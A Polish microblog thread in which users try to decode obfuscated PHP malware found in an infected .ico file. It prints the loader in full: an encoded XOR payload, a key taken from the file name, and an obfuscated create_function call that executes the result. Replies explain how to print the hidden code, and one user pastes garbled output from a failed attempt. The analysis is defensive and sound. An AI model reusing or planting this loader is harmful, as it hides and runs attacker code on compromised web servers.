Wpis z mikrobloga

#php #hacking #pytanie #mysql

Jak to zdekodować zainfekowany plik ico

$_7aj9y4i = basename/*9sb3*/(/*ua*/trim/*jud9*/(/*5sw*/preg_replace/*bm4*/(/*4*/rawurldecode/*81o*/(/*a*/"%2F%5C%28.%2A%24%2F"/*x*/)/*d*/, '', __FILE__/*g*/)/*qalfr*//*jl2*/)/*o*//*k*/)/*zyb*/;$_kezcm4 = "G%04D%1E%10W%5D%07%08%40%0C%07G%09%11%10DTRU%3E%02A%07%17%0AV%16%3BUCVY%15%04%0ENJF%24%19nRTUQ%0F%04%06N%10%1B%5C%07%05%5BnPW%0F%15K%11%170M%10%01WEV%18FM%0EXJT%24%22%0DXXlK%04%15%06N%06%1D%5C%0D%16i%5D%5C_FM%0E%276%23bK_vX%5DQ%3E%12K%1DKHB%0D%03iTAJ%0E%13%5DNOO%1EK_vX%5DQ%3E%12K%1DKHC%03%1CiTK%5D%02%14Z%00%0C%01q%16%0D%5BT%14%14AQ..
.
  • 16
$_7aj9y4i = basename/*9sb3*/


@airflame: Początek to basename(trim(preg_replace(rawurldecode("%2F%5C%28.%2A%24%2F"), '', __FILE__)));, zakodowana część: "/\(.*$/" .
Druga część wygląda jakby była zakodowana rawurlencode. Nie podałeś trzeciej części, w której jest wykonywany kod zawarty w $_kezcm4.
@januzi: `$_7aj9y4i = basename/*9sb3*/(/*ua*/trim/*jud9*/(/*5sw*/preg_replace/*bm4*/(/*4*/rawurldecode/*81o*/(/*a*/"%2F%5C%28.%2A%24%2F"/*x*/)/*d*/, '', _FILE_/*g*/)/*qalfr*//*jl2*/)/*o*//*k*/)/*zyb*/;$kezcm4 = "G%04D%1E%10W%5D%07%08%40%0C%07G%09%11%10DTRU%3E%02A%07%17%0AV%16%3BUCVY%15%04%0ENJF%24%19nRTUQ%0F%04%06N%10%1B%5C%07%05%5BnPW%0F%15K%11%170M%10%01WEV%18FM%0EXJT%24%22%0DXXlK%04%15%06N%06%1D%5C%0D%16i%5D%5CFM%0E%276%23bKvX%5DQ%3E%12K%1DKHB%0D%03iTAJ%0E%13%5DNOO%1EKvX%5DQ%3E%12K%1DKHC%03%1CiTK%5D%02%14Z%00%0C%01q%16%0D%5BT%14%14AQ%07R%23%0A%5C%10%0BDnA%5D%11%0E%5C%1D%0A%01IJT%1F%0AsK%04%15q%1D%0A%02K%3D%08%5CZLIQ%07R%0A%09%06C%00SWZV%04%05%06K3%27~%3D%21y%7D%11%11H%1AJ%0C%05%06%40%07L%14a%7Bh%3E%24a%25AC%0E%408X%13%1A%03%1C%08HIKNJ%07%02V%5CIFH%00%0F%0Aq%12%11BnPW%0F%15K%07%17%1C%0EEM%1FJW%5D%07%08%40%0CKHH%0B%08SnCM%15%3EM%06%0D%1BK%0C%10E%11%14%14AP%07RG%1F%5D%0F%10W%40A%18%5CA%09%0C%05WHWS%05R%1E%5E%04R%19DW%0E%17%00IW%04%00%5BL%03L%0FWV%17%04%02%06%06VYFZI%05%0C%0DO%0ED%12A%40U%15%00%1BX%09%5B%0C%07BX%5CVA%0EA%0D%1A%06T%11L%12YQJ%09%08H%18JOU%0B%02%16%19%40L%13%0DK%07KKF%00%16%5EXUIHA%12IWFU%10%01BDAVAC%0CR%1EKY%12%1E%40%40DU%09A%13IA.l%21%20swtp%28%2Be%25.%21a25dbgm76v09%0EL%01%00SWTP%08%0BE%05%0E%01A%12%15DBGM%17%16V%10%19%1FPW%02%04%05%0FYX%05F%5EM%15F%15A%5EYR%16A%13I%10%1B%5C%3D%17F%5DZLIEY%19%19%19%15%09%5E%18%08%1C%10%16A%03%09%18%0EDWCAY%18%3EH%05%0A%1F%06F%15A%5EYR%16H%15M%0E%03Y%0D%03DXVA%1B%09OI%5EO%1EY%40OBK%07%0FDI%5EO%0C%40%12YQJ%09%08H%18CR%0E%12%16SVlJ%04%11B%08%00%0A%06%40%1Amor%15%3B%00%03%13SB%17%3EOj%1Eo%05%3C%1F%0CECM%0CND%12YQJ%09%08H%18JTJ%0DDM%15GQ%0F%05Y%11%15%09%5E%13%17CBW%18%5CA%0A%18%14%00D%08%13m%15%5BZ%13%09G%0F%124%0A%0F%08A%5ETJ%08%04W%13%0B%0E%05I9k%0A%17I%02%18O%0A%0E%1E%0ED%12%40DW%0B%0BY2G%07L%10%0CWBcE%0CB%1E%0C%08%5C%0B%01OK%5BYJJs4XKY%07%08SBW%18%5CA%0A%18%14%00D%08%13m%15%5BZ%13%09G%0F%124%0A%0F%08A%5ETJ%08%04W%13%0B%0E%05I9k%0A%17%40%0E%07%5E%00%13O%13B%40GF%5CR%0B%16uM%0B%0D%5C%0A%0DP%40h%1C%0C%0DY%06%04%1DG%07%1DLYR%13J%3CsRG%02B%15%0BQCZ%5D%18%1BF%08%0A%09K%0E%16Z%11%0E%18IEZ%00%0D%0BY%1A%12PABK%14%12JIS%0EPM%16M%13%10E%10M%10%02%0CC%13D%08%0F%13%0CHZ%0A%04%0F%18A%05%16TJB%09%00%5B%1E%07%00%5D%08D%0B%11%1B%10E%10M%10%02%0CC%13D%10%11%02%0DHA%12UC%5B%07B%18%16%19%17O%04%0DK%1A%07O%10%5CD%04%18%08%1C%12%09C%0A%0A%1BB%04D%0B%11%1B%10E%16K%05%06%1CJBB%16%02%1A%18%5D%5D%0EJORB%40N%5EUH%08%11%15M%1A%1CV%05%02X%5B%13%05AEW%1A%1B%08H%0C%0E%16%1F%13%5B%09%13%06M%0E%03Y%0D%03DXVA%1B%09O%00%05%0AB%10%08%1F%0AZ%5EAI%0A%1E%06%03K%11%00%16%10%0E%18WU%07I%18KW%11%1CQW%5DRA%5C%0EM%1A%1CV%05%02X%5B%13%16A%02F%1BKKC%0E%13YVAQ%04%18T%01%02%1AY%06%0BE%5B%1A%03%1C%08HIKKV%0D%02FXC%18%40%5C%0EWF%0E%19%40OBK%07%0FDI%5EO%0A%1B%17NVUV%0BA%00I%00%07%5CJ%40EY%5E%5B%08%15B%0FJTS%1FDAYZT%04A%06M%0E%03Y%0D%03DXVA%1B%09OI_O%5D%16%16ZT%5D%10E%09L%1B%0B%06H%13M%1F%0AA%5D%15%14%5C%07CKW
@airflame: $f="\143"."\x72".chr(788-687)."\x61".chr(184-68)."\x65"."\137"."\146".chr(117).'n'."\143"."\164".'i'.chr(111).chr(110);$f('', '};' . (rawurldecode($_kezcm4) ^ substr(str_repeat($_7aj9y4i, (strlen($_kezcm4)/strlen($_7aj9y4i)) + 1), 0, strlen($_kezcm4))) . '{');
$f to nazwa funkcji, można olać, bo to nie jest ważne; następnie masz wywołanie tego $f, do którego przekazywany jest zdekodowany kod zawarty w $kezcm4 oraz nazwa skryptu php z wirusem, która siedzi w $7aj9y4i.

Całość wykonuje xor na zdekodowanych bajtach siedzących w $_kezcm4.
$f="\143"."\x72".chr(788-687)."\x61".chr(184-68)."\x65"."\137"."\146".chr(117).'n'."\143"."\164".'i'.chr(111).chr(110);


@airflame: create_function, pierwsza zmienna to argumenty wejściowe, druga zawartość funkcji.

Jak masz nazwę pliku z wirusem, to kod możesz sobie wyświetlić poprzez:

echo (rawurldecode($_kezcm4) ^ substr(str_repeat($_7aj9y4i, (strlen($_kezcm4)/strlen($_7aj9y4i)) + 1), 0, strlen($_kezcm4)));
echo (rawurldecode($kezcm4) ^ substr(strrepeat($7aj9y4i, (strlen($kezcm4)/strlen($7aj9y4i)) + 1), 0, strlen($kezcm4)));


@januzi: Wypluło to:

&*4v6sw0m)7aaqj$:%_,1ogkxfS%"x)}to:.Tx@"<%0!tn>q5,ou:@ ?tea@,>q?5766%~9d$LRlv(;e;v&v|r}~'?e/(<Nz;|e8+s}G$#-c:*h|_fe+5:d)!f|Sb,q%41+)r7/7r9.8a!zbpl8'n;;og} 5%o+y-ox!"; 8j&#3,;N%vl5;d$?d|11)"/oge,vn&8h*!um#?f4so0=eaqk0y:"w*(=x1f1l4v1"""v;8f)sh6~746m11h_fuboghe).8|f e, s1}bj(>1z'?!..0)(?#e/o%g.'|!qb1!+'x h"|~zf2x"tplxhzgnj;Khsr}2N.Dnu]1|-3,">,b8:ax)6:<:lj=}70!u1at'.{g"l'p, $h|p%&ce:tca7njb(46%{1B&)y2 5mlndx=%q';:w:"Uv;1wi}2?h=ozpdajx{tu*{y&!b\zn&16$+&t?cj u!I $g(~fpp{?rl0/6=|{~,%}4zl~0lm#)nt|iwu<8|c"L|7j2t%!+*<6k.xk';ff;?~p9$tpe{84b81#edz:(q#f ,8={$>=xrmmc,xn=| *k*p1d8/<:#'p3nf.-4j?kx5qcj|"=4xac#8)b4m+o2y8i?e#;rw.>,,ty&lzy"$zs2ej{ykqkf#ug2:*2w,jp-< /"?3l0&.4fxye,4l>ucv+{u k'rkif|ff~=+acgc~k)l-40& 5y'pd$2xx~$*61($nns*?p~o6'=w(6;?a}'5" r~%j}xuj(:=f)r'5;#3o=)>10*hy6fi!a2#/f!4!..$k>7{&c1agpo,+n51.:&e*+z#w4 w*&tfd~doW'uq$wqf2k6" 0"vz#?q%(469-W,m4s|0e/!n+)ye')2(29s,~i9g.'7n:*6'z~e1u~k9$$;ocm/8\(7!Ckc6rau1=)W V WZGhrs})+opzi}bf)q"kw5#i/zw"6(;?,=f=n.*|w/fj+5mwm{<#4cap4*o1zm7bio.<:i*'{{o="7ftp$~~(5zb'y"'e0-=}#w*e*bd&g%38;)bmp=lH#$q:$?'>,Lo09<#xq#j1>1$mnmy+?{e<4cj*a"qfpg{%=0(k*icxtojp9$fe9$k~wx-*6!8#1biq,*ke%$15eurw+f#&v86l9p2b/y&gp" 6)$k+qhfk3#.p'282+f*;w/=~}8qc5subwlpgh61#nwjr(is)fs{9"a{(2nqol2(6#p7:+d$++>8 w!vb#~v}:%t<2pb.=2M4"|1!8t:ab*v8(yg4;b*hsz#la9|79~n ~jy5(eve?bbe/yddbjm83< r~sryu#>~'mtg"qr<1=)v$7l33 Rj/Mn/6)?aly:tzcvy$b47o;%6a0z:'ig5}Rj/552(o,fqv#?in6xt|tsuznh21(yva(p?)}aa(!;(k?citgpm1y&/hw5#b/zn>552(f*;w/=~}8qc5veqahwgh21(yvawsir2aii0{u '*crmz:%}%s;legc~s-o;7g2#az3>)kt#|vbsww#&|$!5,=ge+a)$px$2l vp$?i|w7""cayFfz=+qve U^FA3f6ZH)o?r3*t{b"'e>zw9+zs~>tf}71?>ah%.?o2(wc $+_:"g;3;w}$me}$qa~9s'o+'hi}(6x. l0orfk3#*j$".;/ycxxss|7k8|.0*prRyi&8;%>g{lp<3urr/1b$u8xi)$H ?hmp80)1n=v).{l1|wp']96"ok}yh)2|e)g*m/w|b):h=osaoy:+6&:h4/oco.u/4**6!9o5%2(-4j!cw#.04:8cku5fr+/)z|%o7jc{|)kh-:5eqd)p];lc&&n$fbb4/. v4pg8$bu~$&(xt;dns<)}8az2ea.y5y%I"yfh=r~&v))ii01q-e'7b8
@januzi: tak miało by to wyglądać?

echo (rawurldecode($_kezcm4) ^ substr(str_repeat($_7aj9y4i = 'nazwa_pliku.php', (strlen($_kezcm4)/strlen($_7aj9y4i)) + 1), 0, strlen($_kezcm4)));